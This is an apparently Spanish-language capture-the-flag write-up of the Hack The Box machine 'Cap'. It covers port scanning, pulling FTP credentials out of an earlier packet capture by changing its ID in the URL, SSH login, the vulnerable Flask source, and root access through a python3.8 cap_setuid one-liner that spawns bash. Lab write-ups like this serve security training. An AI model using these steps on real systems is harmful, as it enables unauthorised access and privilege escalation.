This page looks best with JavaScript enabled

Hack The Box - Cap

 •  ✍️ sckull

“En Cap encontramos distintas funcionalidades informativas del sistema, una de ellas permite la descarga y analisis de archivos .pcap, luego del analisis de un archivo encontramos credenciales que nos dieron acceso por FTP y SSH. Tras enumerar las capabilities del sistema logramos escalar privilegios por medio de Python.

Nombre Cap box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.245
Maker

InfoSecJack

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.6, 3.5, 3.9, 6.1, 6.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[2, 2, 7, 3, 8],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

Nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: ftp (21), ssh (22), http (80).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
Nmap scan report for 10.10.10.245 (10.10.10.245)
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 19:32:49 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 19:32:43 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 19:32:43 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard

Web Site

Encontramos una pagina en el puerto 80 en donde se muestra un posible nombre de usuario nathan.
image

Además se muestran distintas opciones.
image

  • Security Snapshot (5 Second PCAP + Analysis): el numero de paquetes de un archivo pcap capturados en 5 segundos, permite descargar del archivo.
  • IP Config: muestra el resultado de ejecucion de ifconfig.
  • Network Status: muestra los puertos y sockets de la maquina.

Directory Bruteforcing

Feroxbuster nos mostró las mismas direcciones que se muestran en la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
π ~/htb/cap/www ❯ feroxbuster -u http://10.10.10.245 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.245
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      355l     1055w    17454c http://10.10.10.245/ip
302        4l       24w      220c http://10.10.10.245/capture
302        4l       24w      208c http://10.10.10.245/data
200      539l     2846w    38910c http://10.10.10.245/netstat

PCAP Passwords

Security Snapshot permite analizar y descargar una captura de trafico a traves de un archivo pcap, tras analizar el archivo (1.pcap) encontramos las solicitudes (de feroxbuster) que realizamos a la maquina, aunque no se muestra ningun tipo de servicio y/o puerto visitado recientemente.
image

Notamos que el nombre del archivo se incrementa (1.pcap) asi como la direccion (/data/1) al visitar y/o descargar el snapshot de 5 segundos, por lo que verificamos si existia algun snapshot anterior, visitamos /data/0 y encontramos que existe dicho archivo, tras analizarlo encontramos credenciales en el servicio FTP.

1
nathan:Buck3tH4TF0RM3!

image

User - Nathan

Utilizamos las credenciales en el servicio SSH, obtuvimos una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
π ~/htb/cap ❯ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ECDSA key fingerprint is SHA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ECDSA) to the list of known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jun  5 19:27:25 UTC 2021

  System load:           0.03
  Usage of /:            34.9% of 8.73GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:d439

  => There are 4 zombie processes.

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
dd1183750d1f8fc9ba833fbb6dc70da7

PRIVILEGE ESCALATION

Vemos en el codigo fuente un comentario que indica que existen algunos problemas de permisos con gunicorn, vemos que se utiliza python por ello, pero notamos que utiliza os.setuid(0), lo que indica que cada vez que realiza un snapshot lo hace con el usuario root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():

      get_lock()
      pcapid = get_appid()
      increment_appid()
      release_lock()

      path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
      ip = request.remote_addr
      # permissions issues with gunicorn and threads. hacky solution for now.
      #os.setuid(0)
      #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
      command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
      os.system(command)
      #os.setuid(1000)

      return redirect("/data/" + str(pcapid))
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/python3

import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import dpkt
from werkzeug.utils import append_slash_redirect

app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True
app.secret_key = b'\x81\x02&\x18\\a0ej\x06\xec\x917y*\x04Y\x83e\xebC\xee\xab\xcf\xac;\x8dx\x8bf\xc4\x15'
limiter = Limiter(app, key_func=get_remote_address, default_limits=["99999999999999999 per day", "99999999999999999999 per hour"])
pcapid = 0
lock = False

@app.before_first_request
def get_file_id():
      global pcapid
      path = os.path.join(app.root_path, "upload")
      onlyfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
      ints = []
      for x in onlyfiles:
              try:
                      ints.append(int(x.replace(".pcap", "")))
              except:
                      pass
      try:
              pcapid = max(ints)+1
      except:
              pcapid = 0


def get_appid():
      global pcapid
      return pcapid

def increment_appid():
      global pcapid
      pcapid += 1

def get_lock():
      global lock
      while lock:
              pass
      lock = True

def release_lock():
      global lock
      lock = False

def process_pcap(pcap_path):
      reader = dpkt.pcap.Reader(open(pcap_path, "rb"))
      counter=0
      ipcounter=0
      tcpcounter=0
      udpcounter=0

      for ts, pkt in reader:
              counter+=1
              eth=dpkt.ethernet.Ethernet(pkt)

              try:
                      ip=dpkt.ip.IP(eth.data)
              except:
                      continue

              ipcounter+=1

              if ip.p==0:
                      tcpcounter+=1

              if ip.p==dpkt.ip.IP_PROTO_UDP:
                      udpcounter+=1

      data = {}
      data['Number of Packets'] = counter
      data['Number of IP Packets'] = ipcounter
      data['Number of TCP Packets']  = tcpcounter
      data['Number of UDP Packets']  = udpcounter
      return data


@app.route("/")
def index():
      return render_template("index.html")

PCAP_MAGIC_BYTES = [b"\xa1\xb2\xc3\xd4", b"\xd4\xc3\xb2\xa1", b"\x0a\x0d\x0d\x0a"]

@app.route("/capture")
@limiter.limit("10 per minute")
def capture():

      get_lock()
      pcapid = get_appid()
      increment_appid()
      release_lock()

      path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
      ip = request.remote_addr
      # permissions issues with gunicorn and threads. hacky solution for now.
      #os.setuid(0)
      #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
      command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
      os.system(command)
      #os.setuid(1000)

      return redirect("/data/" + str(pcapid))

@app.route("/ip")
def ifconfig():
  d = os.popen("ifconfig").read().strip()
  print(d)
  return render_template("index.html", rawtext=d)

@app.route("/netstat")
def netstat():
  d = os.popen("netstat -aneop").read().strip()
  print(d)
  return render_template("index.html", rawtext=d)

@app.route("/data")
def data():
      if "data" not in session:
              return redirect("/")
      data = session.pop("data")
      path = session.pop("path")
      return render_template("data.html", data=data, path=path)

@app.route("/data/<id>")
def data_id(id):
      try:
              id = int(id)
      except:
              return redirect("/")
      try:
              data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
              path = str(id) + ".pcap"
              return render_template("index.html", data=data, path=path)
      except Exception as e:
              print(e)
              return redirect("/")

@app.route("/download/<id>")
def download(id):
      try:
              id = int(id)
      except:
              return redirect("/")
      uploads = os.path.join(app.root_path, "upload")
      return send_from_directory(uploads, str(id) + ".pcap", as_attachment=True)

if __name__ == "__main__":
      app.run("0.0.0.0", 80, debug=True)

Realizamos una enumeracion de las capabilities, vemos que python se lista con la capability cap_setuid lo que nos permitiria obtener acceso privilegiado el cual utilizamos para ejecutar bash (GTFOBins - Python) , logrando obtener acceso como root y leer la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# whoami
root
root@cap:~# ls
user.txt
root@cap:~# cd
root@cap:~# ls
user.txt
root@cap:~# cd /root
root@cap:/root# ls
root.txt  snap
root@cap:/root# cat root.txt
f5fbfb8a01d451fdb4a27fdb09d1f7c4
root@cap:/root# who
nathan   pts/0        2021-06-05 19:27 (10.10.14.25)
root@cap:/root#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe